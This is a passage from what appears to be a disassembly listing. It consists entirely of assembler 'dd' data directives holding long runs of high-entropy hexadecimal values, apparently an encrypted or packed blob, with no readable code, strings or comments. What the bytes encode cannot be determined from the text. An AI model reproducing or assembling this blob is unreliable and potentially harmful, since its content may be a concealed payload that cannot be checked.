19CF834h dd 2AF12F9Dh, 1D748FE9h, 7E9512BEh, 4A2E84Fh, 199B2F47h dd 4BC8C3EAh, 681FB4E0h, 7661B025h, 2A45C1AAh, 0EDF77030h dd 0F2E9060Bh, 0C3E75FFBh, 0DC426B16h, 4940478Fh, 0D4F156FCh dd 0A24B1B34h, 7F5F8DBh, 0A6034B8h, 0B1DAA56Bh, 0D4882F0Ah dd 4A49C3Dh, 0F21BC668h, 96985B71h, 33444A94h, 0B385FE8Ah dd 89FF9361h, 6C6041E8h, 9E203FBDh, 964659AEh, 0BCFC2790h dd 6064E970h, 815A146Bh, 66137EE2h, 0D2003F07h, 6D630DF2h dd 7930EB31h, 4CE497D7h, 0DEEDB72Dh, 18DF49CFh, 70E7685Fh dd 84F49715h, 121E6870h, 87378F4Bh, 1008958Ah, 230C4DFh dd 0A80AB312h, 30A62058h, 0CEEECF96h, 0FBC12D97h, 0FDA889D5h dd 11E9E221h, 0C8E37FB8h, 0BD039600h, 0E8E78161h, 6B771C16h dd 266903E3h, 7D03CE5Ch, 0B00D9061h, 2C6EBAC7h, 2007A9Ah dd 2FED78B8h, 21A1DD40h, 80B4EB28h, 4CDFE917h, 273D24B4h dd 55FE692Ch, 9E8CE08h, 1275D387h, 4845406Ah, 0FE4245Ah dd 0EF150C18h, 2AF7D5ABh, 5C05A701h, 1EB2C79h, 6CD81D8h dd 3E541B76h, 0EE0BBCC0h, 948CA066h, 9DAF4811h, 602CA010h dd 403576B8h, 0C0585972h, 49A165Eh, 0E9E5CC4Bh, 0E190C434h dd 0D1D3DAE9h, 0A598BCB2h, 5A15FC31h, 9554635Eh, 413842E4h dd 2CBB5A65h, 7A12E034h, 0C200134Ch, 560A5D82h, 2EE91657h dd 8761F478h, 0EA5BCB79h, 55CA61FCh, 1F5F00A7h, 77BD6E66h dd 3E174616h, 1D62930Ah, 0D75AD02Ch, 22CB1CFBh, 5866184h dd 0DD963257h, 19023F2Ah, 770D235Ah, 88324F8h, 8C561C4Ah dd 3B14BA00h, 2F29779Dh, 14A25BDEh, 9742A4Ah, 0FD274352h dd 0E98206B2h, 147D98E4h, 0A471272Bh, 60C2418Dh, 2B3DF175h dd 2DEE4A5Ch, 0FDA13E5Eh, 0E26FF3E5h, 10EED686h, 52428D2h dd 1502027Ch, 0FB60019Dh, 6E5C5DECh, 8E8410F0h, 924BF24Eh dd 0FF9A6B21h, 0C2326C11h, 0ECEB5455h, 7C0522AEh, 0FB012C3Ah dd 0EB848D24h, 744A8D0Ch, 4E74E298h, 48AACD2h, 9595E51h dd 4FE971C8h, 5D19C362h dd 926BD638h, 70827776h, 2CC08156h, 0B202379h, 3DB450CFh dd 250F0EB5h, 5020B935h, 0F929FD2Fh, 44E15F4Bh, 12602282h dd 0B60754Bh, 372CF0ECh, 80258322h, 7968B956h, 3D4A7AE8h dd 957BA28Ch, 98A7F6C5h, 8207EAE6h, 74F24052h, 3EB3A35Fh dd 0CA55D925h, 250FF662h, 0A57387F8h, 79120424h, 0C907A282h dd 8274554Dh, 0F3204BA4h, 66F623F6h, 43C4B59h, 1B875C3Fh dd 5CDA6782h, 0AEE27897h, 9DF96FE1h, 3C92E9A0h, 9D12BDD6h dd 0BDCB260Dh, 0F8996642h, 25F90FEh, 79890F27h, 5AF5D6F7h dd 6EE060Bh, 18046A71h, 0E57C86C2h, 0F815E037h, 5B880ABh dd 30A1630Bh, 0F239AF31h, 3FA16DEBh, 8D58958Bh, 0F6663A13h dd 8B819206h, 8000D097h, 79F00EE3h, 56104D69h, 0AFF60BCCh dd 0B460787Ch, 0FA40BC53h, 60E2AAACh, 0B8C620AAh, 7FF50432h dd 0C4109917h, 0B02481CAh, 9C189F68h, 41FD394Bh, 6CDC1E1h dd 0A65531F4h, 0A603A1FBh, 2006B539h, 336D7866h, 0D6C2832Dh dd 2B2CD03Eh, 0E9D82805h, 37AF07B0h, 65CD3071h, 0D2B509B8h dd 0C10882FCh, 0F8548BF7h, 0E6D810FBh, 0BFDB7112h, 70B054C8h dd 0EAD99742h, 0FD90F5CBh, 2D4A0B68h, 17B98E30h, 4C3C3C19h dd 5745CEAFh, 0ABC8CB0h, 0E9631612h, 0B8DDBABFh, 75F29AEDh dd 68040665h, 9AEE21B3h, 62680B1Ah, 6401745Ch, 6617EFCEh dd 0D88D2DEAh, 163961F6h, 0F13116EAh, 0A7A9E780h, 0E9390BD3h dd 14DDF2D8h, 5D1C768Dh, 8B9ECD5Dh, 1A7851E9h, 642D8B02h dd 8935582Ch, 89B9606h, 31EE685Dh, 509CE90Bh, 0AD6A850Bh dd 0E9896AD1h, 295B7029h, 3D8BE230h, 1DC80EA5h, 0F2707F1h dd 0A723F206h, 73E90680h, 545E7297h, 6802268Bh, 7FFD6508h dd 3051554h, 8643DEE9h, 9F51CF88h, 0B8AB45FFh, 4622C3BDh dd 0E47EE2ECh, 1164072Dh, 5A3C91B7h, 0FBFA0112h, 37E22A67h dd 65A27CA9h, 168C579Bh, 0C6393830h, 0B41BE00Ch, 10E40C01h dd 5491D61h, 451764C9h, 0EE28D0B8h, 140CD108h, 4120A27Ch dd 0C7122F9Fh, 29BCC87Fh, 0A498C9F7h, 9D70E4DFh, 0A4205C04h dd 861EF68Bh, 0C149FD26h, 466AA5E6h, 0A8F41B83h, 0B731644Fh dd 0EA40F861h, 65F6020Bh, 627F56D2h, 3392EEF4h, 0E958B756h dd 0A73463F3h, 85B3ADC2h, 394FEDDh, 565E0805h, 8159FC0h dd 0BE333B22h, 3FA7313Fh, 0E9185DE4h, 6871E516h, 0D7F1955Fh dd 1A5D73BCh, 2EE680CAh, 31BD3A74h, 290A2F0Ah, 0EB2C6EC5h dd 9EBC42D2h, 0EBA9F2C9h, 45E7B9B1h, 0C15E55C2h, 992C7D59h dd 0C17C662Ch, 482EDB68h, 232DF151h, 0FDDCCAE8h, 0E9E246DBh dd 15E5C4Bh, 0B14CB3BAh, 0D1A53A3Eh, 3A64A5F9h, 0FA214E5Ch dd 70FBCD13h, 0E957515Bh, 10A61927h, 53D7684Ah, 0B205D179h dd 0EBDAF6B6h, 12B71AD8h, 857EE99Dh, 93F1BD60h, 0B461642Dh dd 0C19EF97Ah, 2903685Eh, 0F725CDA7h, 591A685Ch, 84B8E912h dd 0E4733922h, 99345BC4h, 0D147F881h, 0CDAE1AD7h, 0B6C3F027h dd 0EF0BDDBAh, 9058DB4Dh, 820FDDB6h, 752F627Dh, 5D94468h dd 8B2023FCh, 13062D04h, 49D2B4Eh, 9FA856F2h, 670CBFC5h dd 0BDCD94FCh, 5BD81EDFh, 57DE5E09h, 83486190h, 0E0EEC07Eh dd 0B9AAC0C6h, 0A8DCED2Fh, 0EB9F9ECCh, 20C16457h, 12F94F8h dd 9504CCEEh, 0C6BF1D78h, 0BB6F3039h, 0CF2DC82Dh, 635C1000h dd 0D9669A05h, 4D5EB706h, 9617D04Ah, 1CE4E98Dh, 0E64CB4B7h dd 0F4125453h, 4F85E10Ah, 4ECE38C4h, 4C7B24Ah, 7EEC158h dd 9652DC0h, 1FF2202h, 0DC835273h, 97FD2DAEh, 0C7F001CCh dd 68D54157h, 0B009D627h, 663DE03Fh, 69C92FBAh, 0AB562F1h dd 58A07E17h, 15A209BAh, 3B802D95h, 79B421Eh, 16F4998h dd 87F28053h, 0B725F9D3h, 0CAE99E41h, 2D09FB70h, 822E5D22h dd 5758C3CEh, 12B1F2A0h, 0E93A14F4h, 6686B89h, 8A5569DFh dd 9BE77D93h, 17A00581h, 43D457FFh, 28C1030Ch, 612A422Dh dd 28DD1F8Dh, 1154F907h, 4E3C1B16h, 287190C3h, 0CB90A4Fh dd 22072901h, 0FD129D84h, 18FA1511h, 7ED4121Bh, 82370E3Fh dd 2E527CEFh, 0F3FDB62h, 0DC4B99B8h, 68083661h, 0C5050007h dd 0F765A750h, 0FE490D8h, 20AB695Dh, 0C44ADA04h, 87A71E3Dh dd 6070E07Dh, 6A4402CAh, 0D4B96450h, 0A83B3F3Dh, 7220D131h dd 0E6BF1FAEh, 0BA27997Eh, 76C8FFCEh, 39B6C6E9h, 62E6F92Fh dd 0B403E21Ah, 5AF4801Bh, 2E400C0h, 5216C480h, 0D46494E9h dd 92AA495Eh, 16F74187h, 0D46229FDh, 565C8BD1h, 0DCC272FCh dd 0DF6801FEh, 259F332Fh, 976D5650h, 0E4B5277h, 0AEBD9325h dd 51DD7A86h, 0AB5E49D8h, 78BD7E27h, 9260FAE9h, 566AB852h dd 25420066h, 4DD12A5h, 11055D35h, 0C5316936h, 0A009A8C7h dd 30E1B080h, 0CBC1F5C1h, 15CA887Fh, 0E2CA4E5Fh, 9002FF4Bh dd 772B65A9h, 275AD29h, 54B0D0BFh, 6B3283C3h, 0EBB00CBDh dd 0CA2E5D30h, 3E289411h, 0DBE90880h, 4CE6954Eh, 0B3CA052Dh dd 41169354h, 8F2AC2A1h, 0CCE34EB1h, 0BF39645Eh, 0FD921FB2h dd 9926844Dh, 0CBD83105h, 7E8B5B4Ah, 609EC710h, 267977D6h dd 88E89C40h, 5A128DE1h, 5001D1ECh, 0BC2C5BB8h, 0A821FC61h dd 84D84BCBh, 0B55B091h, 10305218h, 0CEA0E220h, 0F7C0F64Ah dd 0DF4FA6EEh, 0C6292E36h, 0AF3B2643h, 0C6372B2h, 0FB5D0BCCh dd 53726E8h, 0BA19A227h, 7D08C150h, 2764AF37h, 0A8064DB0h dd 0F9012F56h, 0F27D4312h, 91CC2523h, 0E55C9D91h, 5B6C64EFh dd 4930F99Dh, 0FF2E1784h, 0E45907DBh, 0A7028F0Bh, 0E9038160h dd 37764830h, 2C7C3FCEh, 0DAA1C63h, 207FAC92h, 403EEBA9h dd 0D93BAF77h, 0D72D3905h, 35F09A72h, 25AC0218h, 928C47Eh dd 0A3E9CA47h, 0DBE55029h, 20B30608h, 0CC2920BEh, 9584D89Dh dd 515B3768h, 5DCFB901h, 0BDE93F4Ch, 0EE4F876Ch, 44DD2604h dd 5CD588FFh, 62D7665Dh, 0E49975BEh, 0D4483055h, 4FA0EBE3h dd 0FF4B9109h, 89A67C33h, 2D55F568h, 0B67B9C08h, 5D5ACB9Fh dd 0C1623EC5h, 624507E1h, 5168EB35h, 539F3026h, 0C38D8838h dd 4375E2Dh, 0FED0042Bh, 0D0A68309h, 0A5681270h, 0E06F132Dh dd 1E7FD3B5h, 36E77A50h, 4FFE271Eh, 0B2B32409h, 0AB4DC07Fh dd 15549F90h, 6B767B40h, 4D12FA0Eh, 6791DE95h, 4F649940h dd 18A8A3BAh, 520EEC3Fh, 50DA3988h, 5DFD0ADh, 0A8C1FD3Ch dd 777EC8A2h, 0AF9AB22Dh, 9842A077h, 0C0074F62h, 0AD766D0Ch dd 0C2B50108h, 0E0080A12h, 54397000h, 4F52521h, 0E931C171h dd 55A9A0FCh, 0F1BD9DECh, 3EEF2567h, 0F8FF2C1Bh, 24C5E5F1h dd 38EFF8E1h, 466B718Ch, 88A10D6Eh, 0A93E48h, 184E5A30h dd 607C5976h, 483A1B2Fh, 170ACEDCh, 0FB5D6AEBh, 0DEE91942h dd 99C7D599h, 0A16B8431h, 0AFE05151h, 0E9A8CC2Fh, 76D78435h dd 0EFA390FBh, 0D93CD114h, 20FAB3DBh, 0CDBB8553h, 2C05E9C8h dd 14573BEEh, 86DB6D98h, 4FF1E499h, 1712BDC7h, 0CBBA0C8Bh dd 0CA2C126Fh, 41AFA756h, 0A55EEDFAh, 307DF867h, 3EC5B7C0h dd 9D11CEC4h, 16F2FD02h, 1F05CD0Ah, 0C7C2837Bh, 47772D8h dd 994A7AE6h, 3EA2AE6Bh, 680DF080h, 3225E946h, 0BBD13051h dd 157782C1h, 0C2EB1102h, 59027768h, 6E6C257Ah, 54F8444Bh dd 0FBA40ED0h, 8F932099h, 0FB688560h, 0FB968DB7h, 0E040EFD4h dd 7A3F95C7h, 950F9073h, 9E6C7A40h, 2B774F4h, 2B9AC19Bh dd 4F610A01h, 18EEEC0Bh, 4305F692h, 5F376C4Dh, 0A70A82h dd 8023B151h, 0ADF663B0h dd 739CDE6Bh, 8968C17Ah, 37B32E08h, 1258B900h, 0A5E96213h dd 0D45F02EFh, 847F7AC7h, 99BB11E1h, 76B72FA0h, 0BFAEE750h dd 1366150h, 9D11D6C5h, 76D5AD9h, 0E09B1360h, 6A6C58F6h dd 7970320h, 7D0B8084h, 3456C512h, 56E55B06h, 1776000Ch dd 0EB090ECDh, 0F44F30E9h, 945840C8h, 61986A0Ch, 205AD701h dd 0C245EB90h, 4F34A487h, 0FEEA6577h, 3699027h, 1C463AAh dd 82055828h, 301BDA23h, 3516DDB6h, 0C0EE2C83h, 9D15CA24h dd 0B4016275h, 51AD91Eh, 0A02BE540h, 0B04BCFB2h, 0E06D3C49h dd 5DE468FAh, 0C4856F75h, 4E31E3ADh, 0E9823EF9h, 814463DFh dd 0C07BCA9Fh, 4F5E1F37h, 507BB6Fh, 2BE5C0D8h, 0CBFEF7C4h dd 0BD864E1Dh, 0B1681208h, 84DBEC74h, 20FB8D9Ah, 68565115h dd 0A9073C00h, 88E95E76h, 2AFD8125h, 1B4AF2Ch, 2D3A2F01h dd 0CA36FB67h, 0E94FA087h, 0DFA0327Fh, 60907D9Eh, 9680A4E5h dd 56A1C08h, 83FEC380h, 111E6952h, 0F2CBEBE2h, 1A060FDBh dd 201DC0D5h, 101C9D64h, 0D9615C4Fh, 0EB05BE30h, 0A08B3385h dd 0C7C0EC4Bh, 120E274Dh, 2CFC68BFh, 0B90EC09Eh, 6320477h dd 186A04FAh, 3E3B8D55h, 56890FE8h, 0E6A38996h, 9615108Ch dd 44DA3DFEh, 9AA360E1h, 13606845h, 236A2D0Ch, 0A4FAB551h dd 0C410883h, 0C2D82F14h, 7F705531h, 27E8AE61h, 0FB49012h dd 4D996010h, 0A852FB25h, 59EC05Bh, 27E9351Ah, 8048D49Fh dd 542D2FADh, 10BF63Ch, 46320E25h, 8109803h, 5BE90406h dd 0BB37014Ah, 30930173h, 0BC5AF266h, 4FCB37A4h, 2D328A9Ah dd 499BD2C2h, 3604C3D1h, 814D2942h, 0D1F140E4h, 4FF6E271h dd 0D801C810h, 0F8601D2Dh, 1C2D7A48h, 0E967207Bh, 60C0CADBh dd 2AB29BB5h, 59EA3E30h, 0DA49C03Ch, 0CC79DC17h, 0D24117AAh dd 0AA30E431h, 6938289Ah, 0C5E63AB6h, 0EE1F6597h, 0D2E98E02h dd 0E57E5E7h, 4C300168h, 21A73407h, 182AC301h, 63C468D9h dd 639DBC7Fh, 333923A9h, 0AC4D589Fh, 0A6D4975Ch, 7C9108EDh dd 3D50125Dh, 37CBDCB8h, 912734F6h, 473758FAh, 0FB36F919h dd 349CDDC7h, 2700BD94h, 2D078865h, 0ADA57B7h, 5E8011Fh dd 235D1207h, 249DE005h, 0BA93C448h, 814EBD2Fh, 884BC2A3h dd 2BD1D98Fh, 975A279Eh, 3CFCDE9Fh, 0BF5F1A38h, 1572B7Ch dd 437AA5BFh, 65ECE974h, 0F0B5219Dh, 73016A60h, 42B4F281h dd 0B84744F0h, 656E7411h, 67F472Ch, 0F1790E2h, 20071E12h dd 0E943DD76h, 751FC239h, 5CE2A2D1h, 580B09BAh, 28B7415Ch dd 979B02D9h, 1ABA5F47h, 273FBB5Ch, 5DFFE2B0h, 0FEF46464h dd 105CB249h, 0B9C00B1Bh, 1D5016F6h, 7EF18101h, 31623B48h dd 0B48ED06Eh, 0ED900776h, 6A01494Fh, 39DE03BAh, 48703C70h dd 5B80F781h, 2D42C567h, 55F2D30Bh, 8B1354FAh, 59F6BA6Fh dd 8FFB2D6Fh, 7C26E02Bh, 0AB42F526h, 0B3115F02h, 7B918235h dd 5FA5D59Dh, 30B1E808h, 12E73202h, 0E8885FA5h, 0A40C160Bh dd 51CF76A9h, 955CC1CBh, 8A328231h, 0FB4A316Fh, 58722306h dd 7764053Dh, 0A0BF2314h, 5F65105Ch, 93BC29D6h, 641C1B13h dd 5D49A913h, 0D5C28B1Dh, 79AFE3E5h, 40DD20FAh, 29256866h dd 4583C62Eh, 6F2E213Ch, 0ECE0DCCDh, 52363112h, 8B0818CCh dd 0F3102327h, 0DC321350h, 5B4FD949h, 0D22064FAh, 7DCAC832h dd 985DB77h, 0E023FCC2h, 50E8D17Fh, 0A2A2C529h, 0CBBAFFE3h dd 806966D9h, 407BFC44h, 95A903Ah, 1CF45B39h, 0D356A1FFh dd 570DA16h, 0FFCC540Eh, 2874F6CBh, 1BA4F48h, 3EE80AE5h dd 615BDE31h, 192CCC52h, 5660F58h, 2153BAA9h, 972A47A0h dd 47E60689h, 6E985CDDh, 1876E719h, 0C50AE25h, 4CF01689h dd 0FBEF6AC1h, 0A47A2003h, 0C897D09Ch, 2553EC2Eh, 0BDD30716h dd 5767C501h, 41306CFBh, 0B66E0571h, 94A4E952h, 9D09FE5Dh dd 20A0528Bh, 6CF577E0h, 575CA211h, 88E7F510h, 79EA8180h dd 96CB3DC3h, 874E86A4h, 8350535Fh, 10029073h, 912103BFh dd 0DD09DF5Dh, 109755Ch, 41C9F1F2h, 7E302E68h, 85022233h dd 8BBEF764h, 0A2CC18D4h, 0C416FF3Fh, 8CD38215h, 0C09F879Dh dd 5A3B85E3h, 52F1E4C3h, 70803A17h, 6C44C1AFh, 52F72FF3h dd 0C09A2E7Bh, 0B0C842EAh, 16A6BE00h, 0FC3C4AFBh, 25694C90h dd 0A0DED412h, 495E4E08h, 70549A8Ch, 4E7EE581h, 0C813664h dd 50F951C4h, 850E8045h, 0E905DE4Dh, 90C84F8Fh, 0BD688495h dd 3C8B7353h, 0DDF69FB5h, 66ECEDCEh, 7B0CBCE5h, 38D57B01h dd 0EF2C8AC5h, 19510BFCh, 778919D9h, 0FBA8A28Fh, 1E793038h dd 0BAFA037Ah, 59E65D4Eh, 0C7FCE10Ah, 5572029Ah, 0A3FC218Dh dd 0A97F6F8Eh, 2340E132h, 980DBC20h, 274471EFh, 60F62645h dd 0CB13C280h, 77E9A549h, 510954Eh, 4090D828h, 13B2C920h dd 0FBE58859h, 7A7D0F62h, 0DEC50594h, 0D005F538h, 6DF0859Ah dd 60210C2Fh, 1858CAFEh, 0C6FD542h, 3B314901h, 0B4A78017h dd 77ECAA45h, 13CCD540h, 23DEE53h, 13996838h, 0DE81B075h dd 71833073h, 7242E558h, 7864BD27h, 382B186Bh, 5348220h dd 551C2A09h, 12AED15Fh, 2006F192h, 1AFA5CD3h, 234B5426h dd 90E92216h, 2C680705h, 1011F352h, 0B85A080Ch, 72E610AAh dd 51E8B80Bh, 1A7FC40Bh, 0DE36212h, 162E7B0Ch, 5DD9ABE6h dd 953DEDECh, 53518198h, 0F9765EC9h, 21564936h, 5FBA54BDh dd 796EECBDh, 414AFEF9h, 0BA442EC0h, 5A0963FDh, 0E9786E56h dd 0FAE25A8Dh, 4CE15A20h, 0F775007Ah, 41122DD8h, 214E6DFAh dd 8A7844FEh, 0C19DEECDh, 0A4D76120h, 0DDC30BAEh, 62D01760h dd 985F0AFCh, 937562D7h, 7E21B3B0h, 9D50B0D8h, 0B6953D1h dd 3A457D9Ch, 0F200F0A6h, 2688178Eh, 5AD70289h, 0FC40522Dh dd 0E1A2E784h, 0CEF32E81h, 18D81FC9h, 0B5B5E24h, 1AAB0E09h dd 0A9F25F7Dh, 61557AFAh, 7E9E21A0h, 0FD2DA600h, 1D1FCA21h dd 0F70055Dh, 22620E2Ch, 1CC04C04h, 0E69F788Eh, 0C9372D1Ch dd 0B8C13AAh, 51807F27h, 0D3107C8h, 46E4E926h, 75D0018Bh dd 0A6807F64h, 0A51674FDh, 82B14B63h, 0EC28CDE8h, 155C0BF3h dd 7E002A93h, 362201E1h, 910F0B90h, 87511F03h, 0C792F9F7h dd 7755C02Bh, 446D171Eh, 0E76CB031h, 0A344975Ch, 0ED65D868h dd 14659232h, 0B3FA57A9h, 55A6D13Ch, 80A0223h, 0E9214D8Dh dd 4028A45Eh, 0CC555A2h, 0EA2070A8h, 9A5EBF8Ah, 4B47D83Ch dd 613D4A8Ch, 0EA805AC0h, 903430FBh, 0E62CD0ACh, 0CA03E905h dd 0E755F851h, 2AE1DF69h, 7B60D6EEh, 962752A1h, 212AC0C5h dd 99479FF5h, 0D5B3ED00h, 9F09E66Bh, 0F10A01D2h, 9A2FDD2Ah dd 617F6E05h, 5C7F580h, 1C13839h, 71CCFB4h, 0F9F0E908h dd 0B7888B5Eh, 2903428h, 0CD75EE56h, 0D307A189h, 81E7C55Eh dd 4952A2Ah, 0E272DCEFh, 10986B52h, 5C051C63h, 0E8585450h dd 0B55CB85Eh, 685226E0h, 0D60E9809h, 0D562094Eh, 0E57DA4A9h dd 0F8E90640h, 0F6B720FAh, 130C0344h, 27E9A934h, 6CBD2BBDh dd 0A5D83078h, 66CDFE34h, 0CB4BF8C4h, 15338FEFh, 3BF19314h dd 0E852AAE3h, 17D1F63Fh, 7DB4A8CAh, 61541E46h, 0B332CC62h dd 7EF693E5h, 77E0735Eh, 0BFC59A43h, 5C1655EDh, 0BDC6D0ABh dd 6B2570E5h, 89FD915h, 5100A1F8h, 0EE0513B9h, 0C2BF721Eh dd 0CF31569Eh, 32CD61h, 7453BB66h, 0EF6598D9h, 4F74E77Dh dd 9288ED0Dh, 3989F7BAh, 4502A581h, 89660592h, 7522EBF2h dd 0D5629254h, 0C327694Ch dd 3D4F659Fh, 9CFDF2A5h, 0C6F1B75Fh, 783DE08h, 8516C680h dd 59C9D225h, 7C718B55h, 975DCF54h, 0CE4B6249h, 0E0BF7BDEh dd 0B21B34DEh, 5DFAFA2Ah, 4F1058EFh, 0C954CF39h, 2770543Eh dd 0BDFA345Fh, 540959FBh, 4A8FF698h, 24AA100Fh, 702095Ch dd 0C4135F08h, 674838A5h, 0A12AA85Bh, 0D07B0EDDh, 1938EECEh dd 2F2EC63Eh, 5B59856Ah, 7CE0F2ABh, 0E8BF7C2Fh, 2C71E604h dd 125559ACh, 5965AA22h, 0B5B8D1FBh, 0D9FC2B8Ah, 0E9B1B884h dd 0A02D03F7h, 0E7275839h, 16F87044h, 4D2EFB92h, 0D3AFFC4Eh dd 8B6E8029h, 4056256Fh, 0EED0213Bh, 0F4A5541Ah, 0E8CB58CFh dd 5A646125h, 0B634F0h, 3C2B81Dh, 772D6C8Ah, 2D7C4CAh dd 0DFAC3017h, 68846351h, 31BB1FF7h, 3DBCD5E7h, 628E0B12h dd 4AC65011h, 0FEE921FCh, 32182BC5h, 76BED8Eh, 0B450DD28h dd 0BBCC8041h, 30E2B652h, 977AF449h, 6AB91ABh, 7E60E680h dd 663658E5h, 0F904545Bh, 0F5FC87D1h, 0DE91C7Ch, 34FF2564h dd 698E8899h, 9A4993Ch, 0ECF92773h, 102D3B1Dh, 0B5C46734h dd 23FE4327h, 9DD9304Ch, 273C63A1h, 5B16C835h, 2DC14E21h dd 0D3A5FCCFh, 0BFEF4BC0h, 0F6145A01h, 98865F16h, 0F4A7BD5h dd 9275D4DCh, 0CD801CACh, 10E5CAE0h, 8CDE1F9Fh, 68304AC2h dd 5394718h, 0BD634C6Ch, 661DAB98h, 6FE9B4h, 0E93CB31Bh dd 32E691B2h, 9958BF68h, 1655593Fh, 42433B51h, 310CE480h dd 0CF6D2A12h, 0CB842801h, 29C8407Dh, 8C991C3h, 7F253814h dd 0E1689431h, 0C0672C4Eh, 378A41E8h, 0DDD950F7h, 0FA0D174Dh dd 4AFE919h, 0C7C4B179h, 183CA0FBh, 85D25248h, 45210531h dd 87058228h, 4958F74Ah, 5D51D6F4h, 0FBCD2895h, 0BB93D83Bh dd 8243F893h, 253E0B2Bh, 0BBB30787h, 0D95709CAh, 93396B69h dd 82466B56h, 507D87B5h, 0DEED82DDh, 0E6799224h, 0EBB31255h dd 854002C9h, 0E4EE30F1h, 0EC08D4F5h, 0B271FC2Fh, 2860432Dh dd 18AD080Ch, 8EBBB584h, 9B55BDFh, 0C24711D1h, 5901A868h dd 287FEE80h, 0DBC525E6h, 5B5D8385h, 455C1A2Dh, 0CE253C82h dd 163AE4FEh, 0B481285Ah, 3D64DC70h, 252EE4EFh, 18C00ED7h dd 0DD82C86Bh, 2FEAB168h, 7D3A4025h, 7705E4ECh, 29D6C843h dd 0A48279C4h, 88E87DFBh, 0BABD312Dh, 424683DBh, 7D7670D9h dd 25B079E8h, 1D7A7EAAh, 8416431h, 0ABF47426h, 80A1BECFh dd 0AC6C17EEh, 3DFAD901h, 310077B6h, 676845EAh, 0ADB69139h dd 260BDA7Ch, 50E754ECh, 60E7D989h, 211712C2h, 8EE93444h dd 35585B0Ah, 0ECCA250Bh, 53B6715Fh, 1BC424B4h, 0E6AFC694h dd 8E22C4A3h, 732BBD01h, 0FDEC6A3Dh, 7BD16C09h, 0E5050757h dd 75771F31h, 270BC3Bh, 9F566AF5h, 0E455F849h, 0FCCD4AA8h dd 31B393FCh, 0ECCAAAD6h, 0C67CB425h, 0FC90DCC4h, 3A7DE380h dd 0EB89D3F6h, 7A0E88C2h, 8C66EC04h, 30F90200h, 294A2134h dd 96D038E8h, 10E2A2A5h, 6602A737h, 0EF68F1F7h, 2D485BD7h dd 0E9059945h, 8FCBC401h, 37F6210h, 7C872D58h, 0A9FCC4C2h dd 90100744h, 0F2244E72h, 49A60254h, 5745433Ah, 4C8361F4h dd 9864AC2Dh, 0A561DB5h, 5E82953h, 7FE90507h, 0BCAED74h dd 74166266h, 513203D8h, 0C3D2078h, 0DAEC397Ah, 1FE9B504h dd 47E3D695h, 2B68AED7h, 86DA9434h, 479179E9h, 0F35E3BEDh dd 17F7F1CCh, 4AE50BC7h, 9BF07522h, 2B9F5AE0h, 6B855964h dd 70CDF100h, 0E91664D5h, 25355AC6h, 0D70DEC82h, 3FFC3962h dd 545411DAh, 68B109DFh, 0CF967657h, 0DA09FE9Dh, 75613212h dd 48C563A9h, 0FAEB03B3h, 4A221517h, 207DEF68h, 3121B740h dd 0ED0C5EEEh, 0E9084019h, 0F813584Ah, 8150D4FBh, 2E494F34h dd 7E366421h, 0A89D9A06h, 0C7108CDFh, 96F0BD1Eh, 8BF70412h dd 5E4DEA86h, 1C600606h, 0EED94E44h, 452E053Dh, 0E1E2E9A1h dd 99C0DA69h, 504F9420h, 5F7E0CECh, 0BBB8072Bh, 0EB4E63C9h dd 1BCA8FE2h, 521C0FFh, 0EF7DD259h, 0CF75E901h, 0A26FED24h dd 0CFE95F4Eh, 2FAB528Fh, 12F9C7C9h, 3827405Fh, 0F76880B8h dd 960B899Fh, 52BA0585h, 0A4329134h, 987FEBE1h, 4EED8B24h dd 0A812F503h, 2E0C1F09h, 2938466Fh, 494190D9h, 9511977Fh dd 0AF53D408h, 24B44BBDh, 9CB40BE9h, 2FEBC5F5h, 0CC57A82Bh dd 0E927CF84h, 0D57C10CBh, 55D2B489h, 688B8B5Bh, 0A7665786h dd 0A6400938h, 9E0BAC0Eh, 719C55B9h, 0DB2D2B90h, 4285F964h dd 0FE55A313h, 2E5272CFh, 2DC4748h, 6DBF7F52h, 2235E31h dd 0F37C71F5h, 0B1167AC0h, 0CD627782h, 0F859D85Fh, 73DC977Ch dd 29625C51h, 34E66217h, 0C108843Eh, 1F5CBB7h, 806BCE86h dd 2CBFF694h, 0F009FE90h, 59709FE9h, 946688DFh, 6ACABA02h dd 0A84CC379h, 58BC23FAh, 0EE097B3Fh, 84F44568h, 4B080A0Eh dd 0F6ED8057h, 0C05CA003h, 6C9D1F18h, 68BD21CFh, 471371Ah dd 8CE959D6h, 0B87E95B4h, 50905CFh, 0A2F6023Ah, 9D0CF528h dd 55091E53h, 35C45FACh, 979F29Dh, 436B3836h, 0A62884D4h dd 0EF1813Dh, 0EB2273ACh, 881927EAh, 0DD818BBBh, 0D33B7468h dd 8CDCC89Dh, 2540266Eh, 60BB1DFCh, 4F4F2D4Fh, 0F2976957h dd 5BDE39B5h, 0D15DEE86h, 0C1013EE6h, 6872F94Ah, 0FC52146Dh dd 0F040CA7Ah, 4957177Ch, 0E812BB6Ch, 0A95B9BE3h, 9BEE50C2h dd 90C22980h, 15C62035h, 0F4A8F097h, 3A742E6Fh, 0B607140Eh dd 2F16712Eh, 5EFF10D7h, 0B704F03Bh, 0DA01C6E0h, 8CD7E94Eh dd 0E2A45779h, 4F928503h, 0AB9759FEh, 82482E2Ch, 4C62CF80h dd 0FD907896h, 0CE076EEEh, 1657E976h, 191E5F0Bh, 0ED65549h dd 17103468h, 832C78EBh, 0FE104D63h, 0B5EEB9C0h, 5C00C82Ah dd 2EA1FCC1h, 202E1DB2h, 0A016853h, 0B20941AAh, 79907E72h dd 2640CC41h, 7B866E08h, 0F44B5E33h, 49B6632Dh, 0D4E7A96Fh dd 3E5D27B4h, 0D3E926D9h, 0E058926Ch, 423F0E43h, 4690F63Ch dd 86408E0Fh, 0CCC9C03Bh, 98287B73h, 656F128Eh, 0CB1E04BDh dd 9FF7A959h, 9624B0E4h, 2D83C8B0h, 680109A5h, 1C45729h dd 8969F9BFh, 147F1C7Fh, 406EF837h, 14945A0Eh, 3FC55D25h dd 9A53E941h, 0FCBE3550h, 32B3251Fh, 4E64617Fh, 168CF43Bh dd 8C104A17h, 0C5FD49BFh, 0FD6830FDh, 21A92F49h, 0DC55C9CAh dd 0B8965CFAh, 0BD223E70h, 0CD3C6764h, 73959687h, 241E0EBAh dd 0D4000809h, 490A5D85h, 71B089Dh, 0FAE9FE30h, 3F9494C3h dd 0C3B19D7Ch, 0B8BD5064h, 0E81408A8h, 2E44850h, 12282DF4h dd 0C3787709h, 0DFE9063Fh, 884642AEh, 89809004h, 2BC35E76h dd 207BDEB5h, 0D2E2A008h, 0FF56820Ah, 2606630Fh, 2853482Ah dd 0D393E940h, 3E5AA622h, 9494917h, 0FC0B1B0h, 2C7180DBh dd 25C7886Dh, 